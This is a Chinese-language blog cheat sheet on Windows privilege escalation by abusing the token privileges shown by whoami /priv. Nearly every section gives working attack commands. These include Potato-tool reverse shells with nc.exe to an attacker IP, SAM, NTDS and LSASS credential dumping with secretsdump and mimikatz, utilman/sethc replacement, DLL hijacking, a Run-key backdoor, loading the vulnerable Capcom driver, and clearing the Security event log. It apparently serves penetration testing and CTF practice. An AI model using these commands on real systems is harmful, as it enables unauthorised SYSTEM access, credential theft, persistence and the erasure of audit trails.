windows提权-whoami/priv总结

Windows Token Privileges 提权方式详解

概述

Windows 使用访问令牌(Access Token)来描述进程或线程的安全上下文。通过 whoami /priv 可以查看当前用户持有的特权列表。某些特权即使处于 Disabled 状态,也可以通过代码启用后利用。

基本检查命令

1
2
3
4
whoami /priv
whoami /groups
whoami /all
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

1. SeImpersonatePrivilege

描述

允许进程模拟(Impersonate)另一个用户的安全令牌。这是最常见的服务账户提权路径。

常见持有者

  • IIS AppPool 账户
  • SQL Server 服务账户
  • Network Service
  • Local Service
  • 各类 Windows 服务账户

利用原理

攻击者创建一个命名管道或 COM 服务器,诱骗 SYSTEM 级别进程连接,捕获其令牌后调用 ImpersonateNamedPipeClientImpersonateClient 模拟该令牌身份。

利用工具与步骤

方法一:PrintSpoofer(Windows 10 / Server 2016/2019)

1
2
3
4
5
6
7
8
# 直接获取 SYSTEM shell
PrintSpoofer64.exe -i -c cmd

# 执行特定命令
PrintSpoofer64.exe -i -c "C:\temp\nc.exe 10.10.14.1 4444 -e cmd.exe"

# 以指定用户运行(需要对应令牌)
PrintSpoofer64.exe -i -c "cmd" -u "NT AUTHORITY\SYSTEM"

原理:利用 Print Spooler 服务的命名管道模拟漏洞。

方法二:JuicyPotato(Windows 10 1809 之前 / Server 2019 之前)

1
2
3
4
5
6
7
8
# 基本用法
JuicyPotato.exe -l 1337 -p cmd.exe -t * -c {4991d34b-80a1-4291-83b6-3328366b9097}

# 反弹 shell
JuicyPotato.exe -l 1337 -p C:\temp\rev.exe -t * -c {CLSID}

# 指定监听端口和 CLSID
JuicyPotato.exe -l 9999 -p C:\Windows\System32\cmd.exe -a "/c C:\temp\nc.exe 10.10.14.1 443 -e cmd.exe" -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}

CLSID 需要根据目标系统版本选择,可参考:

  • Windows 10 Pro: {4991d34b-80a1-4291-83b6-3328366b9097}
  • Windows Server 2016: {8BC3F05E-D86B-11D0-A075-00C04FB68820}

方法三:GodPotato(通用,支持 Windows 8-11 / Server 2012-2022)

1
2
3
4
5
# 执行命令
GodPotato.exe -cmd "cmd /c whoami"

# 反弹 shell
GodPotato.exe -cmd "C:\temp\nc.exe 10.10.14.1 4444 -e cmd.exe"

方法四:SweetPotato(集成多种方式)

1
SweetPotato.exe -p C:\Windows\System32\cmd.exe -a "/c whoami > C:\temp\out.txt"

方法五:RoguePotato(需要远程主机配合)

1
2
3
4
5
# 攻击机上设置重定向(socat 将 135 端口流量转发回目标)
socat tcp-listen:135,reuseaddr,fork tcp:TARGET_IP:9999

# 目标机执行
RoguePotato.exe -r ATTACKER_IP -e "cmd.exe /c whoami" -l 9999

2. SeAssignPrimaryTokenPrivilege

描述

允许将主令牌(Primary Token)分配给新创建的进程。通常与 SeImpersonatePrivilege 配合使用。

常见持有者

  • Network Service
  • Local Service
  • 特定服务账户

利用原理

通过 CreateProcessAsUserCreateProcessWithToken API,使用窃取的 SYSTEM 令牌创建新进程。

利用步骤

方法一:配合 Potato 系列工具

与 SeImpersonatePrivilege 相同的 Potato 系列工具均可利用此权限。

方法二:手动利用(需编程)

1
2
3
4
5
6
7
8
9
// 伪代码流程
// 1. 打开 SYSTEM 进程获取令牌
OpenProcessToken(systemProcess, TOKEN_DUPLICATE, out hToken);

// 2. 复制令牌
DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, out hNewToken);

// 3. 使用新令牌创建进程
CreateProcessAsUser(hNewToken, "cmd.exe", ...);

3. SeBackupPrivilege

描述

允许绕过所有文件和目录的 DACL(访问控制列表)进行读取操作。持有此权限等同于对系统上所有文件拥有读取权限。

常见持有者

  • Backup Operators 组成员
  • 特定备份服务账户

利用步骤

方法一:导出 SAM 和 SYSTEM 注册表(本地提权)

1
2
3
4
5
6
7
# 导出注册表
reg save hklm\sam C:\temp\sam
reg save hklm\system C:\temp\system
reg save hklm\security C:\temp\security

# 传输到攻击机后使用 secretsdump 提取哈希
python3 secretsdump.py -sam sam -system system -security security LOCAL

方法二:复制敏感文件

1
2
3
4
5
# 使用 robocopy 的备份模式
robocopy /B "C:\Users\Administrator\Desktop" "C:\temp" secret.txt

# 复制 ntds.dit(域控)
robocopy /B "C:\Windows\NTDS" "C:\temp" ntds.dit

方法三:使用 diskshadow 复制被锁定的文件(域控场景)

1
2
3
4
5
6
7
8
9
10
11
# 创建 diskshadow 脚本
echo set context persistent nowriters > script.txt
echo add volume c: alias myvolume >> script.txt
echo create >> script.txt
echo expose %myvolume% x: >> script.txt

# 执行
diskshadow /s script.txt

# 从影子副本复制
robocopy /B x:\Windows\NTDS C:\temp ntds.dit

方法四:通过编程利用(精确控制)

1
2
3
4
5
6
7
8
9
10
11
# 需要先导入特权模块或使用自定义 DLL
# 以备份语义打开文件
$fileHandle = [Kernel32]::CreateFile(
"C:\Users\Administrator\Desktop\flag.txt",
[FileAccess]::Read,
[FileShare]::Read,
[IntPtr]::Zero,
[FileMode]::Open,
0x02000000, # FILE_FLAG_BACKUP_SEMANTICS
[IntPtr]::Zero
)

方法五:导出域控所有哈希

1
2
3
4
5
6
7
8
9
10
11
12
# 在域控上
# 1. 创建卷影副本
wmic shadowcopy call create Volume='C:\'

# 2. 复制 ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\

# 3. 导出 SYSTEM 注册表
reg save hklm\system C:\temp\system

# 4. 攻击机解密
python3 secretsdump.py -ntds ntds.dit -system system LOCAL

4. SeRestorePrivilege

描述

允许绕过所有文件和目录的 DACL 进行写入操作。可以写入系统上任何文件,包括受保护的系统文件。

常见持有者

  • Backup Operators 组成员
  • 特定备份服务账户

利用步骤

方法一:覆盖系统辅助工具实现无密码提权

1
2
3
4
5
6
7
8
9
10
# 备份 utilman.exe
copy C:\Windows\System32\utilman.exe C:\temp\utilman.exe.bak

# 用 cmd.exe 替换 utilman.exe
copy C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe /Y

# 在登录界面点击"轻松使用"按钮即可获得 SYSTEM shell
# 或者替换 sethc.exe(粘滞键)
copy C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe /Y
# 连按5Shift 触发

方法二:DLL 劫持系统服务

1
2
3
4
5
6
7
8
9
10
# 查找以 SYSTEM 运行且可被劫持的服务
# 将恶意 DLL 写入服务的搜索路径

# 示例:写入 wlbsctrl.dll 到 System32
# 该 DLL 被 IKEEXT 服务加载
copy C:\temp\malicious.dll C:\Windows\System32\wlbsctrl.dll

# 重启服务(如果有权限)或等待系统重启
net stop IKEEXT
net start IKEEXT

方法三:修改注册表实现持久化

1
2
3
4
5
# 使用 reg 命令写入启动项
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\temp\payload.exe"

# 修改服务的 ImagePath
reg add "HKLM\SYSTEM\CurrentControlSet\Services\TargetService" /v ImagePath /t REG_EXPAND_SZ /d "C:\temp\payload.exe"

方法四:使用 SeRestoreAbuse 工具

1
2
# 编译 SeRestoreAbuse 项目后
SeRestoreAbuse.exe "cmd /c C:\temp\nc.exe 10.10.14.1 4444 -e cmd.exe"

5. SeTakeOwnershipPrivilege

描述

允许获取系统中任何可保护对象(文件、注册表键、AD 对象等)的所有权,无需被授予任何访问权限。

常见持有者

  • Administrators 组(默认)
  • 特定管理账户

利用步骤

方法一:获取敏感文件所有权

1
2
3
4
5
6
7
8
# 获取 SAM 文件所有权
takeown /f "C:\Windows\System32\config\SAM"
icacls "C:\Windows\System32\config\SAM" /grant %username%:F

# 获取管理员桌面文件
takeown /f "C:\Users\Administrator\Desktop\flag.txt"
icacls "C:\Users\Administrator\Desktop\flag.txt" /grant %username%:F
type "C:\Users\Administrator\Desktop\flag.txt"

方法二:获取注册表键所有权

1
2
3
4
5
6
7
8
9
# PowerShell 获取注册表键所有权
$key = [Microsoft.Win32.Registry]::LocalMachine.OpenSubKey(
"SAM\SAM",
[Microsoft.Win32.RegistryKeyPermissionCheck]::ReadWriteSubTree,
[System.Security.AccessControl.RegistryRights]::TakeOwnership
)
$acl = $key.GetAccessControl()
$acl.SetOwner([System.Security.Principal.NTAccount]"$env:USERNAME")
$key.SetAccessControl($acl)

方法三:递归获取目录所有权

1
2
3
4
5
6
7
# 递归获取整个目录
takeown /f "C:\Windows\System32\config" /r /d y
icacls "C:\Windows\System32\config" /grant %username%:F /t

# 之后可以复制 SAM、SYSTEM 等文件
copy "C:\Windows\System32\config\SAM" C:\temp\
copy "C:\Windows\System32\config\SYSTEM" C:\temp\

方法四:获取服务二进制文件所有权后替换

1
2
3
4
5
6
7
8
9
10
11
12
13
# 查找以 SYSTEM 运行的服务
sc qc TargetService

# 获取服务二进制所有权
takeown /f "C:\Program Files\Service\service.exe"
icacls "C:\Program Files\Service\service.exe" /grant %username%:F

# 替换为恶意文件
copy /Y C:\temp\payload.exe "C:\Program Files\Service\service.exe"

# 重启服务
sc stop TargetService
sc start TargetService

6. SeDebugPrivilege

描述

允许调试和调整任何进程拥有的内存,包括 SYSTEM 进程。这是最强大的特权之一。

常见持有者

  • Administrators 组(默认)

利用步骤

方法一:转储 LSASS 获取凭据

1
2
3
4
5
6
7
8
9
10
11
# 使用 procdump(Sysinternals)
procdump.exe -ma lsass.exe C:\temp\lsass.dmp -accepteula

# 使用 comsvcs.dll(无需额外工具)
# 先获取 lsass PID
tasklist | findstr lsass
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID> C:\temp\lsass.dmp full

# 使用 mimikatz 离线解析
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords

方法二:直接使用 Mimikatz

1
2
3
4
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
mimikatz # lsadump::sam
mimikatz # lsadump::secrets

方法三:注入代码到 SYSTEM 进程

1
2
3
4
5
# 使用 meterpreter migrate
meterpreter > ps
meterpreter > migrate <winlogon_PID>
meterpreter > getuid
# 输出: NT AUTHORITY\SYSTEM

方法四:使用 psgetsys.ps1 获取 SYSTEM shell

1
2
3
4
5
# 获取 winlogon 或其他 SYSTEM 进程的 PID
Get-Process winlogon

# 使用父进程注入技术
./psgetsys.ps1 <winlogon_PID>

方法五:复制 SYSTEM 进程令牌

1
2
3
4
# PowerShell 脚本利用 SeDebugPrivilege
# 打开 SYSTEM 进程 -> 复制令牌 -> 创建新进程
$proc = Get-Process -Name "winlogon" | Select-Object -First 1
# 使用 P/Invoke 调用 OpenProcessToken, DuplicateTokenEx, CreateProcessWithToken

7. SeLoadDriverPrivilege

描述

允许加载和卸载设备驱动程序到内核中。加载恶意或存在漏洞的驱动可直接获得内核级代码执行。

常见持有者

  • 特定服务账户
  • Print Operators 组

利用步骤

方法一:加载 Capcom.sys 漏洞驱动

1
2
3
4
5
6
7
8
9
# 步骤 1:将驱动注册到注册表
reg add "HKCU\System\CurrentControlSet\Capcom" /v ImagePath /t REG_SZ /d "\??\C:\temp\Capcom.sys"
reg add "HKCU\System\CurrentControlSet\Capcom" /v Type /t REG_DWORD /d 1

# 步骤 2:使用 EoPLoadDriver 加载驱动
EoPLoadDriver.exe System\CurrentControlSet\Capcom C:\temp\Capcom.sys

# 步骤 3:使用 ExploitCapcom 执行命令
ExploitCapcom.exe YOURCOMMAND

方法二:完整利用流程(编译版)

1
2
3
4
5
6
7
8
9
# 1. 编译 EoPLoadDriver(加载驱动的工具)
# 2. 编译 ExploitCapcom(利用 Capcom.sys 的工具)
# 3. 准备 Capcom.sys 驱动文件

# 加载驱动
EoPLoadDriver.exe System\CurrentControlSet\Capcom \??\C:\temp\Capcom.sys

# 利用驱动执行 SYSTEM 命令
ExploitCapcom.exe

方法三:使用自定义漏洞驱动

1
2
3
4
5
6
7
8
9
10
# 其他可利用的已签名漏洞驱动:
# - DBUtil_2_3.sys (Dell)
# - RTCore64.sys (MSI Afterburner)
# - AsIO64.sys (ASUS)

# 通用流程:
# 1. 注册驱动到注册表
# 2. 调用 NtLoadDriver 加载
# 3. 通过 IOCTL 与驱动通信实现任意读写
# 4. 覆盖内核中的令牌实现提权

8. SeManageVolumePrivilege

描述

允许执行卷维护任务,包括使用 FSCTL_SD_GLOBAL_CHANGE 修改文件系统安全描述符。

常见持有者

  • 特定服务账户

利用步骤

方法一:使用 SeManageVolumeExploit

1
2
3
4
5
6
7
8
9
10
11
12
# 下载并编译 SeManageVolumeExploit
# https://github.com/CsEnox/SeManageVolumeExploit

# 执行漏洞利用 - 会授予当前用户对 C:\ 所有文件的完全访问权限
SeManageVolumeExploit.exe

# 之后可以进行 DLL 劫持
# 例如覆盖 tzres.dll
copy C:\temp\malicious.dll C:\Windows\System32\wbem\tzres.dll

# 触发加载(使用 systeminfo 或 w32tm)
w32tm /tz

方法二:手动利用流程

1
2
3
4
5
6
7
8
# 1. 利用 FSCTL_SD_GLOBAL_CHANGE 修改全盘安全描述符
# 2. 将所有文件的 Owner 改为当前用户
# 3. 获得对系统文件的完全访问
# 4. 进行 DLL 劫持或文件替换提权

# 常见 DLL 劫持目标:
# C:\Windows\System32\wbem\tzres.dll (被 w32tm 加载)
# C:\Windows\System32\phoneinfo.dll (被 svchost 加载)

9. SeCreateTokenPrivilege

描述

允许创建主令牌。可以伪造包含任意组成员身份和特权的令牌。

常见持有者

  • 极为罕见,通常只有 LSA 持有

利用步骤

方法:使用 ZwCreateToken 创建特权令牌

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 伪代码 - 需要编写自定义程序
// 1. 定义令牌属性
TOKEN_USER tokenUser = { ... }; // 设置为当前用户
TOKEN_GROUPS tokenGroups = { ... }; // 添加 Administrators, SYSTEM 等组
TOKEN_PRIVILEGES tokenPrivs = { ... }; // 添加所有特权

// 2. 调用 ZwCreateToken
HANDLE hToken;
ZwCreateToken(&hToken, TOKEN_ALL_ACCESS, &objectAttributes,
TokenPrimary, &authId, &expirationTime,
&tokenUser, &tokenGroups, &tokenPrivs,
&tokenOwner, &tokenPrimaryGroup,
&tokenDefaultDacl, &tokenSource);

// 3. 使用新令牌创建进程
CreateProcessAsUser(hToken, "cmd.exe", ...);

10. SeTcbPrivilege

描述

标识持有者为可信计算基(Trusted Computing Base)的一部分,即操作系统本身。可以执行几乎任何安全操作。

常见持有者

  • SYSTEM 账户
  • 极少数关键服务

利用步骤

方法:通过 LsaLogonUser 获取任意用户令牌

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 伪代码
// 1. 调用 LsaLogonUser 以 S4U (Service for User) 方式登录
// 无需密码即可获取目标用户的令牌

HANDLE hToken;
LSA_STRING originName = { ... };
KERB_S4U_LOGON s4uLogon = { ... };
s4uLogon.ClientUpn = L"Administrator@domain.local";

LsaLogonUser(hLsa, &originName, Network, authPackage,
&s4uLogon, sizeof(s4uLogon), NULL,
&tokenSource, &profileBuffer, &profileSize,
&logonId, &hToken, &quotas, &subStatus);

// 2. 使用获取的令牌
CreateProcessAsUser(hToken, "cmd.exe", ...);

11. SeSecurityPrivilege

描述

允许管理审计和安全日志,可以读取和清除安全事件日志。

常见持有者

  • Administrators 组

利用方式

1
2
3
4
5
6
7
# 虽然不能直接提权,但可以:
# 1. 清除安全日志掩盖痕迹
wevtutil cl Security

# 2. 修改 SACL(系统访问控制列表)
# 3. 读取安全日志获取敏感信息(如登录事件中的用户名)
wevtutil qe Security /f:text /c:50

12. SeSystemEnvironmentPrivilege

描述

允许修改系统固件环境变量(UEFI 变量)。

利用方式

1
2
3
# 可以修改 UEFI 启动配置
# 理论上可以实现固件级持久化(Bootkit)
# 实际利用较为复杂,需要特定硬件和固件知识

综合利用流程图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
whoami /priv

├── SeImpersonatePrivilege ──────► Potato 系列工具 ──► SYSTEM

├── SeAssignPrimaryTokenPrivilege ► Potato 系列工具 ──► SYSTEM

├── SeBackupPrivilege ───────────► 导出 SAM/NTDS ───► 哈希破解/PTH

├── SeRestorePrivilege ──────────► 覆盖系统文件 ────► SYSTEM

├── SeTakeOwnershipPrivilege ────► 夺取+修改 ACL ──► 读写任意文件

├── SeDebugPrivilege ────────────► 转储 LSASS ─────► 凭据获取
│ 注入 SYSTEM 进程 ► SYSTEM

├── SeLoadDriverPrivilege ───────► 加载漏洞驱动 ───► 内核执行 ► SYSTEM

├── SeManageVolumePrivilege ─────► 修改文件 SD ────► DLL 劫持 ► SYSTEM

├── SeCreateTokenPrivilege ──────► 伪造令牌 ───────► SYSTEM

└── SeTcbPrivilege ──────────────► S4U 登录 ───────► 任意用户

工具下载参考

工具 用途 项目地址
PrintSpoofer SeImpersonate 利用 itm4n/PrintSpoofer
GodPotato SeImpersonate 通用利用 BeichenDream/GodPotato
JuicyPotato SeImpersonate 利用(旧版系统) ohpe/juicy-potato
SweetPotato 集成多种 Potato CCob/SweetPotato
RoguePotato SeImpersonate 利用 antonioCoco/RoguePotato
Mimikatz 凭据提取 gentilkiwi/mimikatz
EoPLoadDriver 加载驱动 TarlogicSecurity/EoPLoadDriver
SeManageVolumeExploit SeManageVolume 利用 CsEnox/SeManageVolumeExploit

注意事项

  1. 特权即使显示为 Disabled,也可以通过 AdjustTokenPrivileges API 启用
  2. 选择工具时需要匹配目标系统版本
  3. 部分利用需要特定的 CLSID,需根据目标 OS 版本查找
  4. 域控环境下 SeBackupPrivilege 的价值远高于单机环境
  5. 实战中建议优先尝试 Potato 系列(成功率高、操作简单)

windows提权-whoami/priv总结
http://example.com/2026/05/21/windows提权-whoami-priv总结/
Author
Skyarrow
Posted on
May 21, 2026
Licensed under